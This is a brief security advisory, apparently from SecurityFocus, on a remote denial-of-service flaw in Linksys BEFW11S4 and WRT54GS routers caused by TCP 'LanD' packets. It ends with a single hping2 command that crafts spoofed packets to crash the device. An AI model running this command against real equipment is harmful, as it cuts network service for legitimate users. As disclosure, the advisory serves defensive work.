source: http://www.securityfocus.com/bid/15861/info

Multiple Linksys devices are prone to a denial of service vulnerability.

These devices are susceptible to a remote denial of service vulnerability when handling TCP 'LanD' packets.

This issue allows remote attackers to crash affected devices, or to temporarily block further network routing functionality. This will deny further network services to legitimate users.

Linksys BEFW11S4 and WRT54GS devices are reportedly affected by this issue. Due to code reuse among devices, other devices may also be affected. 

hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1